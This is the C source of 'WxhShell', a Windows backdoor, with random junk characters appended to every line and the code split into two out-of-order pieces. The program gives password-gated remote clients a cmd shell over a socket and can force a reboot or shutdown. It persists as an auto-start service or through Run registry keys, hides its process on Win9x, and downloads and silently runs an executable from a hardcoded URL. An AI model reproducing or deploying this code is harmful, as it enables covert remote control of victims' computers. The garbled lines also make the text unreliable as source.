    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EG0auzW?  
    if(Boot(SHUTDOWN)) \eb|eN0i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w'fT=v)  
    else { DUe&r,(4O  
    closesocket(wsh); E)7F\w  
    ExitThread(0); S:q3QgU=X  
    } .G(llA}  
    break; f0<%&2ym  
    } ]oV{t<0a  
  // 获取shell QgD g}\P  
  case 's': { P=+nB*hG  
    CmdShell(wsh); )aao[_ZS  
    closesocket(wsh); VX+jadYdq  
    ExitThread(0); >sjhA|gXk  
    break; /K{9OT@>  
  } ""h)LUrl  
  // 退出 )a3J9a;ZS0  
  case 'x': { ,H2D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f{i8w!O"~  
    CloseIt(wsh); UH>F|3"d  
    break; a/U2xq{x  
    } PN<C=gAe  
  // 离开 bb`':3%  
  case 'q': { P<2 +L|X?}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |vMpXiMxxT  
    closesocket(wsh); saAxGG  
    WSACleanup();  4)4+M  
    exit(1); @]c(V%x   
    break; hj$ e|arB  
        } 8kOKwEX  
  } N0w`!<y:c  
  } HCJ>X;(`f?  
f%)zg(YlO  
  // 提示信息 $GQ-(/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KdUnD4d  
} -:9P%jWt  
  } ww{_c]My  
W$o2 7f  
  return; NU\ 5{N<  
} 3bd5FsI^pU  
\U?n+6 7g  
// shell模块句柄 1 s*.A6EP"  
int CmdShell(SOCKET sock) je4w=]JV  
{ tpEI(9>  
STARTUPINFO si; 5P+t^\  
ZeroMemory(&si,sizeof(si)); :@xm-.D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TtDg*kZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ai^4'{#zi  
PROCESS_INFORMATION ProcessInfo; l Js <  
char cmdline[]="cmd"; T<joR R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0T5=W U  
  return 0; =!UR=Hq  
} /.eeO k  
?Xo*1Z =  
// 自身启动模式 70Yjv 1i  
int StartFromService(void) c$,_>tcP  
{ Lru-u:  
typedef struct LrV{j?2@  
{ mNAY%Wn6k  
  DWORD ExitStatus; 9 ASb>A2~  
  DWORD PebBaseAddress; q7m6&2$[  
  DWORD AffinityMask; vF/ =J  
  DWORD BasePriority; )|<_cwz  
  ULONG UniqueProcessId; 4YMX|1wd)  
  ULONG InheritedFromUniqueProcessId; )Vk6;__  
}   PROCESS_BASIC_INFORMATION; " ;w}3+R  
MfBdNdox7  
PROCNTQSIP NtQueryInformationProcess; gbStAr.  
A +w v-~3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o1OBwPj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gy Qm/I  
}Y1>(U  
  HANDLE             hProcess; w_4]xgS:  
  PROCESS_BASIC_INFORMATION pbi; =AEz9d ciS  
eL.7#SIr}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ekm7 )d$  
  if(NULL == hInst ) return 0; 6V+ qnUk  
&>jAe_{",  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QIn/,Yd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "4j:[9vR\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rba;&D;  
v !Kw< fp|  
  if (!NtQueryInformationProcess) return 0; b~C$R[S  
rspayO<]3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]AS"z<  
  if(!hProcess) return 0; /Go K}W}  
Uo_tUp_Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]Lqt( c  
0i8h I6d  
  CloseHandle(hProcess); xaKst p  
>Dg#9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =`C4qC _  
if(hProcess==NULL) return 0; do>"[RO  
cM&'[CI  
HMODULE hMod; HT_TP q  
char procName[255]; ) I@L+  
unsigned long cbNeeded; $H'X V"<o  
%YlTF\-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MY nH2w]  
@gBE{)Fj  
  CloseHandle(hProcess); q1hMmMi  
Q7o5R{.oJ  
if(strstr(procName,"services")) return 1; // 以服务启动 N 6O8Wn  
dd7 =)XT+  
  return 0; // 注册表启动 2#/p|$;Ec'  
} 2$zU&p7sV  
Q\J,}1<`6  
// 主模块 }yEoEI`  
int StartWxhshell(LPSTR lpCmdLine) w.+Eyu_I\  
{ L8vOBI7N  
  SOCKET wsl; -#A:`/22  
BOOL val=TRUE; c;I, O  
  int port=0; +MO E  
  struct sockaddr_in door; M\+*P,i  
8xI`jE"1  
  if(wscfg.ws_autoins) Install(); W)SjQp6  
mf|pNiQ,  
port=atoi(lpCmdLine); -05U%l1e  
TL)O-  
if(port<=0) port=wscfg.ws_port; gS"Q=ZK"  
~HUZ#rUHm>  
  WSADATA data; 9 K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )3muPMaY  
$ A-b vL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F}rPY:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4W\,y_Q o  
  door.sin_family = AF_INET; ]Bb7(JX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mKg@W;0ML  
  door.sin_port = htons(port); ke.7Zp2.R  
GZ0aOpUWVq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WY)^1Gb$ux  
closesocket(wsl); s"0b%0?A  
return 1; o;-<|W>  
} }Pg' vJW  
0v"&G<J  
  if(listen(wsl,2) == INVALID_SOCKET) { Ha ZFxh-(  
closesocket(wsl); eZO9GMO  
return 1; s5Fr)q// !  
} FyEDt@J  
  Wxhshell(wsl); %N~C vN@T  
  WSACleanup(); VVrwOo CN  
e.6Dl_  
return 0; `h;}3r#R{  
n2;9geq+  
} 6;uBZ &g  
5FuK\y  
// 以NT服务方式启动 ?'~;Q)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1]/N2&  
{ ,p,Du F  
DWORD   status = 0;  ~B@ }R  
  DWORD   specificError = 0xfffffff; cq^sq1A:  
wt7.oKbW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xn7 [n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +6%7C C6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l6B.6 '4)w  
  serviceStatus.dwWin32ExitCode     = 0; T~Yg5J  
  serviceStatus.dwServiceSpecificExitCode = 0; W<gD6+=8  
  serviceStatus.dwCheckPoint       = 0; TJ2/?p\x  
  serviceStatus.dwWaitHint       = 0; iiwpSGFl]  
uaQ&&5%%J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,eELRzjl  
  if (hServiceStatusHandle==0) return; uU+s!C9r  
O=O(3Pf>  
status = GetLastError(); -"Gl 4)  
  if (status!=NO_ERROR) L/k40cEI^z  
{ WX*cICb5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mvf _@2^  
    serviceStatus.dwCheckPoint       = 0; hrlCKL&  
    serviceStatus.dwWaitHint       = 0; O~Uw&Bq  
    serviceStatus.dwWin32ExitCode     = status; 1XnBK$`  
    serviceStatus.dwServiceSpecificExitCode = specificError; nJ# XVlHc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >7FSH"8[,  
    return; -g2{68 1`r  
  } [n<.fw8$b  
)b9I@)C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '{D%\w5{  
  serviceStatus.dwCheckPoint       = 0; Hz4uZ*7\|  
  serviceStatus.dwWaitHint       = 0; 5~yb ~0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fi{mr*}  
} ]]V^:"ne  
anZIB  
// 处理NT服务事件,比如:启动、停止 M]s[ "0O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ],V kp  
{ ag/u8  
switch(fdwControl) <<BQYU)Ig  
{ &@'V\5G  
case SERVICE_CONTROL_STOP: v=+k"gm6  
  serviceStatus.dwWin32ExitCode = 0; u-/3(dKt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J:W'cH$cR  
  serviceStatus.dwCheckPoint   = 0; 0N1' $K$\  
  serviceStatus.dwWaitHint     = 0; VEo^ :o)r  
  { xDe47&qKM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]EX--d<_`  
  } 7+] F^ 6  
  return; B=x~L  
case SERVICE_CONTROL_PAUSE: T.euoFU{Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bG1 ofsU  
  break; }` @?X"r  
case SERVICE_CONTROL_CONTINUE: 9t\ [N/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &1$8q0  
  break; }-@I#9  
case SERVICE_CONTROL_INTERROGATE: /kb$p8!C".  
  break; \1khyF'  
}; ]*h&hsS 0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |x[$3R1@  
} r2)pAiTM*  
 bn|DRy  
// 标准应用程序主函数 A@ { !:_55  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ][ N) 2_^M  
{ /op/g]O}  
RQJ9MG w  
// 获取操作系统版本 .hnF]_QQ  
OsIsNt=GetOsVer(); .kzms  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9w$7VW;  
Ty iU1,oO  
  // 从命令行安装 [EcV\.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9/Q S0  
GfQ^@Tl  
  // 下载执行文件 !%)L&W_  
if(wscfg.ws_downexe) { n%8#?GC`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V'$oTZ`  
  WinExec(wscfg.ws_filenam,SW_HIDE); m4\g o  
} [@s=J)H  
t)`+d=P   
if(!OsIsNt) { {)jk_&c7  
// 如果时win9x,隐藏进程并且设置为注册表启动 \ 6jF{  
HideProc(); t-a`.y  
StartWxhshell(lpCmdLine); Dl@{}9  
} hG[4O3jo\  
else f#2#g%x  
  if(StartFromService()) /TG| B Eb  
  // 以服务方式启动  2w;G4  
  StartServiceCtrlDispatcher(DispatchTable); +;5Wp$ M\  
else 5D >BV *"  
  // 普通方式启动 @<%oIE~]F  
  StartWxhshell(lpCmdLine); 3Y=,r!F.h  
(#lm#?<)  
return 0; fLc!Sn.Y  
} V4qZc0<,H  
!4!S{#<q  
6#/LyzZq|  
3 pHn_R  
=========================================== U &f#V=Rg  
CJtr0M<U+  
\_)02ZT:  
]r]+yM|  
-y9Pn>~V  
Ed8U;U b  
" fa/P%9db  
C!oksI  
#include <stdio.h> RbyF#[}  
#include <string.h> |^\ Hv5  
#include <windows.h> ``/y=k/au  
#include <winsock2.h> ?cA8P.?^A  
#include <winsvc.h> aslNlH6  
#include <urlmon.h> _g^E%@'W  
Rs^jk)Z:)  
#pragma comment (lib, "Ws2_32.lib") "o~N42DLB%  
#pragma comment (lib, "urlmon.lib") D'Jm!Ap  
`8qT['`#R  
#define MAX_USER   100 // 最大客户端连接数 20S9/9ll  
#define BUF_SOCK   200 // sock buffer ;N9n'Sq4  
#define KEY_BUFF   255 // 输入 buffer _-YL!oP  
@5JLjCN  
#define REBOOT     0   // 重启 c4S>_qH  
#define SHUTDOWN   1   // 关机 o x03c   
-(|7`U  
#define DEF_PORT   5000 // 监听端口 Qj{$dqmDN  
`mh-pBVD1  
#define REG_LEN     16   // 注册表键长度 `,hW;p>-  
#define SVC_LEN     80   // NT服务名长度 5>0\e_V  
0]/,m4a#n  
// 从dll定义API 5? S{W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :4Id7Ce  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _wIBm2UO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &*LA_]1@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d8VWi*  
YY1{v?[  
// wxhshell配置信息 [w+yQ7P  
struct WSCFG { 9;r48)5  
  int ws_port;         // 监听端口 I 0x`H)DA  
  char ws_passstr[REG_LEN]; // 口令 \a9D[wk;@  
  int ws_autoins;       // 安装标记, 1=yes 0=no OcyiL)tv5  
  char ws_regname[REG_LEN]; // 注册表键名 cWX"e6  
  char ws_svcname[REG_LEN]; // 服务名 1D 3 dYVE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .eZPp~[lAN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d "QM;9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2D\x-!l/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'Y~8_+J?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JMl ,  N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %5( EkP  
OtrXYiKB   
}; #VP-T; Ahe  
9y d-&yDG  
// default Wxhshell configuration  <Hq6]\<  
struct WSCFG wscfg={DEF_PORT, .I f"'hMY  
    "xuhuanlingzhe", )Gu0i7iN  
    1, F}VS)  
    "Wxhshell", dM>j<JC=  
    "Wxhshell", Cw9@2E'b  
            "WxhShell Service", "^e}C@  
    "Wrsky Windows CmdShell Service", /\oyPD`((  
    "Please Input Your Password: ", ,E n(gm  
  1, ZQgxrZx3  
  "http://www.wrsky.com/wxhshell.exe", "W3n BaG  
  "Wxhshell.exe" Lqz}&A   
    }; qcpG}o+&D  
}R?v"6aBS  
// 消息定义模块 lN*1zM<6;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \ (3Qqbw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P22y5z~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wme1Uid  
char *msg_ws_ext="\n\rExit."; [<@A8Q5,y  
char *msg_ws_end="\n\rQuit."; ~(*co[_  
char *msg_ws_boot="\n\rReboot..."; 6qmo ZAg  
char *msg_ws_poff="\n\rShutdown..."; E#&c]9QM75  
char *msg_ws_down="\n\rSave to "; 4F1.D9u  
r P<d[u  
char *msg_ws_err="\n\rErr!"; 3thG*^C5  
char *msg_ws_ok="\n\rOK!"; P^uP$D  
LRqw\fKk[  
char ExeFile[MAX_PATH]; -=v/p*v0o  
int nUser = 0; g9 grfN  
HANDLE handles[MAX_USER]; &)fhlp5  
int OsIsNt; ;N> {1  
2:6Y83  
SERVICE_STATUS       serviceStatus; K"t:B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eKU@>5  
,/[dmoe  
// 函数声明 /o}0oo5B  
int Install(void); ozxK?AMgG  
int Uninstall(void); f"Vm'0r  
int DownloadFile(char *sURL, SOCKET wsh); b@Mng6R  
int Boot(int flag); zd*W5~xKg  
void HideProc(void); nJM9c[Ou^H  
int GetOsVer(void); C7c|\T  
int Wxhshell(SOCKET wsl); o to wvm  
void TalkWithClient(void *cs); z wniS6R1  
int CmdShell(SOCKET sock); Jte:l:yjtA  
int StartFromService(void); jmZ|b6  
int StartWxhshell(LPSTR lpCmdLine); `*2*xDuP  
sWpRX2{5,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b|V4Fp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D^T7pO  
BSq;R G(  
// 数据结构和表定义 `hQ!*f6  
SERVICE_TABLE_ENTRY DispatchTable[] = aLyhxmn ^)  
{ d q+7K  
{wscfg.ws_svcname, NTServiceMain},  4.Jaw+  
{NULL, NULL} d9Ow 2KrC  
}; qkR,<"C|`  
y>pq*i  
// 自我安装 t"Vr;0!{  
int Install(void) EL)/5-=S  
{ l52n/w#qFB  
  char svExeFile[MAX_PATH]; <EMLiiNY  
  HKEY key; ?'8MI|*l%  
  strcpy(svExeFile,ExeFile); R y*I~<m  
uN? O*h/(  
// 如果是win9x系统,修改注册表设为自启动 :Jsz"vCg&s  
if(!OsIsNt) { VQW)qOR9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VdN+~+A:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T\b";+!W  
  RegCloseKey(key); si"mM>e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4'4s EjyA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b6E8ase:F  
  RegCloseKey(key); w|UKMbRMU]  
  return 0; Kt&$Si  
    } 0Ts_"p  
  } =LeVJGF  
} Wp~4[f`,  
else { #I{Yf(2Z  
(qc!-Isd~[  
// 如果是NT以上系统,安装为系统服务 DoPF/m}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I5<#SW\a?  
if (schSCManager!=0) piM11W}|/  
{ p6k'Q  
  SC_HANDLE schService = CreateService Xk9r"RmiOb  
  ( 77bZ  
  schSCManager, w]P7!t  
  wscfg.ws_svcname, ] F) -}  
  wscfg.ws_svcdisp, />j+7ts  
  SERVICE_ALL_ACCESS, & b^*N5<Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z?j='/u>@  
  SERVICE_AUTO_START, 5Z>pa`_$2  
  SERVICE_ERROR_NORMAL, 2 DNzC7}e  
  svExeFile, kjKpzdbD  
  NULL, :$Di.|l@7  
  NULL, @Y<ZT;J  
  NULL, GyXs{*  
  NULL, z%gtV'  
  NULL hq[ gj?P  
  ); ';T5[l,  
  if (schService!=0) $6x:aG*F  
  { {{)[Ap)  
  CloseServiceHandle(schService); 7(+ZfY~w"  
  CloseServiceHandle(schSCManager);  rOf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YH+\rb_  
  strcat(svExeFile,wscfg.ws_svcname); 3 BhA.o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )B5gs%u]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AT'$VCYC(  
  RegCloseKey(key); 5z mHb  
  return 0; K1{nxw!`  
    } 8!`.%)- 4  
  } zZ0V6T}  
  CloseServiceHandle(schSCManager); Y52xrIvl\  
} Hh=::Bi  
}  KGwL09)  
?D 9#dGK  
return 1; ph (k2cb  
} MxA'T(Ay  
Gqb-3n gH  
// 自我卸载 q@Yt`$VTN  
int Uninstall(void) tZ24}~da  
{ KK3xz*W0  
  HKEY key; Wk#-LkI  
t>u9NZt G  
if(!OsIsNt) { ~vZzKRVS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u,9U0ua@;  
  RegDeleteValue(key,wscfg.ws_regname); &fhurzzAm  
  RegCloseKey(key); mqc Z3lsv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3Ty{8oUs^  
  RegDeleteValue(key,wscfg.ws_regname); -#M~Nb I,  
  RegCloseKey(key); l'8TA~  
  return 0; NJ!#0[@C  
  } Dk6\p~q  
} MQMy Z:  
} >gLy z2  
else { n|2-bRK-  
QjbPBk Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vX24W*7  
if (schSCManager!=0) 84\o7@$#  
{ `mTxtuid{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `l#$l3v+  
  if (schService!=0) QHz76i!=>  
  { p<['FRf"  
  if(DeleteService(schService)!=0) { !+ hgKZ]  
  CloseServiceHandle(schService); {!bJ.O l  
  CloseServiceHandle(schSCManager); t[ocp;Q  
  return 0; T mE4p  
  } !h(0b*FUJ  
  CloseServiceHandle(schService); 3YF]o9  
  } ~?+m=\  
  CloseServiceHandle(schSCManager); ~i#xjD5  
} l:/V%{sx  
} o*BI^4  
CrQ& -!Eh  
return 1; 9@+X?Nhv5  
} ^Exq=oV  
e(N <Mf  
// 从指定url下载文件 u`nn{C4D"  
int DownloadFile(char *sURL, SOCKET wsh) Zul32]1r  
{ 7B :aJfxM  
  HRESULT hr; L%Hm# eFx  
char seps[]= "/"; <xNM@!'\h  
char *token; ,"R_ve  
char *file; 'F~SNIay  
char myURL[MAX_PATH]; ;$;/#8`>  
char myFILE[MAX_PATH]; p5BcDYOw`  
/YR $#&N2  
strcpy(myURL,sURL); f|E'eFrFk  
  token=strtok(myURL,seps); 0~+:~$VrT  
  while(token!=NULL) +:Zi(SuS]  
  { Ik)Q0_<a  
    file=token; "& |2IA  
  token=strtok(NULL,seps); ] 6B!eB !  
  } l0 _O<  
]gk1h=Y~h  
GetCurrentDirectory(MAX_PATH,myFILE); rnaDo\5  
strcat(myFILE, "\\"); 9?6$ 2I  
strcat(myFILE, file); .r"?w  
  send(wsh,myFILE,strlen(myFILE),0); 9>P(eN  
send(wsh,"...",3,0); [! BH3J!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8r,%!70  
  if(hr==S_OK) y>PbYjuIU  
return 0; @>ZjeDG>  
else AV! cCQ  
return 1; ,"ZlY}!Gn  
w!M ^p&T7  
} v[GHqZ  
g/gLG:C  
// 系统电源模块 Rgu^> ~   
int Boot(int flag) N`MQHQ1  
{ zb$U'D_ -f  
  HANDLE hToken; gC-0je  
  TOKEN_PRIVILEGES tkp; xn[di-L F  
Xs_y!l  
  if(OsIsNt) { 2uEu,YC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N*W.V,6yH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #1k,t  
    tkp.PrivilegeCount = 1; oc Uu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u6RHn;b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H_]kR&F8  
if(flag==REBOOT) { j=4>In?x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,Fiiw  
  return 0; M?lr#} d  
} B\yid@e  
else { mD3#$E!A1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [8#l~ |U  
  return 0; Qg=~n:j  
} h08T Q=n  
  } WH*&MIjAr/  
  else { 4Rq"xYGXh  
if(flag==REBOOT) { Z0KA4O$eL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iL<O|'be  
  return 0; I^=M>_ s4  
} "?-s Qn  
else { eH6cBX#P.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i9tM]/SP  
  return 0; L zC~>Uj  
} O*7 pg  
} f0+  
DK;-2K  
return 1; g= 8e.Y*Fr  
} ?Fu.,srt  
> { Q2S  
// win9x进程隐藏模块 3&f{lsLAC  
void HideProc(void) $-73}[UA 4  
{ `PfC:L  
.rHO7c,P~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x`&W[AA4  
  if ( hKernel != NULL ) hrK^oa_[W  
  { IT|CfQ [D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p P&~S<[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lq.k?!D3uh  
    FreeLibrary(hKernel); |n;7fqK  
  } 4<|]k?@  
2z:9^a/]Na  
return; qS>el3G  
} A\>qoR!Y  
&/p 9+gd  
// 获取操作系统版本 X*@S j;|m  
int GetOsVer(void) ; V8 =B8w  
{ t)h3GM  
  OSVERSIONINFO winfo; X@rAe37h+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9L,T@#7  
  GetVersionEx(&winfo); qM'5cxe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i fUgj8i_  
  return 1; gC_U7aw  
  else LJ?7W,?  
  return 0; I6+5mv\  
} "\ md  
, {^g}d8  
// 客户端句柄模块 %|Vq"MW,I  
int Wxhshell(SOCKET wsl) 1ARIZ;H  
{ ^Ue>T 8  
  SOCKET wsh; W;7cF8fu4  
  struct sockaddr_in client; R4?/7  
  DWORD myID; !WN r09`  
}tN"C 3)@  
  while(nUser<MAX_USER) Flsf5 Tr0  
{ HXX"B,N  
  int nSize=sizeof(client); TD<.:ul]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3 }XS| Y  
  if(wsh==INVALID_SOCKET) return 1; t V</ x0#  
}I"^WCyH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (Q&Z/Fe  
if(handles[nUser]==0) kq+L63fZ  
  closesocket(wsh); HUH=Y;  
else ;IyQqP#,<  
  nUser++; wXe.zLQ  
  } 8l6R.l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y&nY]VV  
:|bPr_&U$  
  return 0; {>#Ya;E  
} @C#lA2(I4  
gwyz)CUkL  
// 关闭 socket {.v+ iSM  
void CloseIt(SOCKET wsh) zrcSPh  
{ 9"[#\TW9Vb  
closesocket(wsh); hq|/XBd||  
nUser--; I?gbu@o  
ExitThread(0); 09r.0Ks  
} M%m$ 5[;n  
^c*'O0y[D  
// 客户端请求句柄 s&4Y+dk93  
void TalkWithClient(void *cs) &}<IR\ci  
{ $4m{g"xL  
yo5|~"yZY  
  SOCKET wsh=(SOCKET)cs; t2>Vj>U  
  char pwd[SVC_LEN]; ]`%cTdpLj  
  char cmd[KEY_BUFF]; C 7v 8  
char chr[1]; : 7'anj  
int i,j; \O[Cae:^?  
n,`&f~tap  
  while (nUser < MAX_USER) { ` 6PdMvF  
w;XXjT  
if(wscfg.ws_passstr) { ffdyDUzQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z' @F@k6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~e|~c<!z8@  
  //ZeroMemory(pwd,KEY_BUFF); |#k1a:  
      i=0; <Fi/!  
  while(i<SVC_LEN) { ZDlMkHJ  
m6s32??m  
  // 设置超时 uv,t(a.^  
  fd_set FdRead; _|3n h;-m  
  struct timeval TimeOut; N G4wtDa  
  FD_ZERO(&FdRead); h<[o;E  
  FD_SET(wsh,&FdRead); Jf 2  
  TimeOut.tv_sec=8; 6 LC*X  
  TimeOut.tv_usec=0; F[LBQI`zq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RX '( l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HA| YLj?|g  
y 2bZo'Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YDP<  
  pwd=chr[0]; D+tn<\LF  
  if(chr[0]==0xd || chr[0]==0xa) {  vO 3fAB  
  pwd=0; 2|+**BxHD  
  break; e(cctC|l  
  } n(&6 E3ZcI  
  i++; tR1 kn&w  
    } ~Os~pTo  
ip~PF5  
  // 如果是非法用户,关闭 socket ^b'[ 81%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A>Js`s  
} m8.sHw  
99vm7"5hQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =F6J%$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t68h$u  
_&P![o)x  
while(1) { b2hB'!m  
~b*f2UVs  
  ZeroMemory(cmd,KEY_BUFF); V1M oW;&  
k/Z}nz   
      // 自动支持客户端 telnet标准   A#*0mJ8IK  
  j=0; mV6\gR[h  
  while(j<KEY_BUFF) { ht ` !@B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \xwE4K  
  cmd[j]=chr[0]; +c?1\{M   
  if(chr[0]==0xa || chr[0]==0xd) { XDU&Z2A  
  cmd[j]=0; {2A/@$?  
  break; z>~Hc8*]3  
  } ?Yxk1Y4ig)  
  j++; jT%k{"+>+?  
    } i!9yN: m0  
K[O'@v  
  // 下载文件 s#>Bwn&b)  
  if(strstr(cmd,"http://")) { b k 30d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *22}b.)  
  if(DownloadFile(cmd,wsh)) >zVj+  
